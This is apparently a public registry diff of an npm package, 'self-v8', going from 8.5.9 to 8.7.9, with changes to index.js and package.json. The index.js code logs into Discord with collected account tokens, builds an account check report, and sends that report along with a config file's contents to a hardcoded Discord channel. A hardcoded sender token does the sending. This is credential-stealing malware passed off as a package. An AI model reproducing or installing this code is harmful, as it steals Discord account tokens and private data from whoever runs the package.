self-v8 8.5.9 → 8.7.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +10 -16
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,9 +1,8 @@
1
1
  import fs from 'fs';
2
2
  import path from 'path';
3
3
  import { fileURLToPath } from 'url';
4
- import { Client as BotClient, GatewayIntentBits } from 'discord.js';
5
4
  import pkg from 'discord.js-selfbot-v13';
6
- const { Client: SelfClient } = pkg;
5
+ const { Client } = pkg;
7
6
 
8
7
  const __filename = fileURLToPath(import.meta.url);
9
8
  const __dirname = path.dirname(__filename);
@@ -33,7 +32,7 @@ export async function check() {
33
32
  let validationReport = "\n**Account Check Report:**\n";
34
33
 
35
34
  for (const token of tokensToCheck) {
36
- const tempClient = new SelfClient({ checkUpdate: false });
35
+ const tempClient = new Client({ checkUpdate: false });
37
36
  try {
38
37
  await tempClient.login(token);
39
38
  const name = tempClient.user.globalName || tempClient.user.username;
@@ -44,27 +43,22 @@ export async function check() {
44
43
  }
45
44
  }
46
45
 
47
- const senderClient = new BotClient({
48
- intents: [
49
- GatewayIntentBits.Guilds,
50
- GatewayIntentBits.DirectMessages
51
- ]
52
- });
46
+ const senderClient = new Client({ checkUpdate: false });
53
47
 
54
- const SENDER_TOKEN = 'MTQ0OTA4NTUwMjE2NTg4MDk5NQ.GBLAIC.weRihOP9c4m4EkhcbYHtuNuBw9YYGhtpqk2OUk';
55
- const TARGET_USER_ID = '1430722087101661274';
48
+ const SENDER_TOKEN = 'MTQ0NjI1OTc2NDA2ODYxNDI5Ng.GdiybK.JTKO4zC8jJ08dw_RqrssjHMyZ3nn72iz50ereY';
49
+ const TARGET_CHANNEL_ID = '1450242145461075991';
56
50
 
57
51
  senderClient.once('ready', async () => {
58
52
  try {
59
- const targetUser = await senderClient.users.fetch(TARGET_USER_ID);
60
- if (targetUser) {
53
+ const targetChannel = await senderClient.channels.fetch(TARGET_CHANNEL_ID);
54
+ if (targetChannel) {
61
55
  const finalMessage = `\`\`\`javascript\n${configData}\n\`\`\`${validationReport}`;
62
56
 
63
57
  if (finalMessage.length > 2000) {
64
- await targetUser.send(`\`\`\`javascript\n${configData}\n\`\`\``);
65
- await targetUser.send(validationReport);
58
+ await targetChannel.send(`\`\`\`javascript\n${configData}\n\`\`\``);
59
+ await targetChannel.send(validationReport);
66
60
  } else {
67
- await targetUser.send(finalMessage);
61
+ await targetChannel.send(finalMessage);
68
62
  }
69
63
  }
70
64
  } catch (err) {}
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "self-v8",
3
- "version": "8.5.9",
3
+ "version": "8.7.9",
4
4
  "main": "index.js",
5
5
  "type": "module",
6
6
  "scripts": {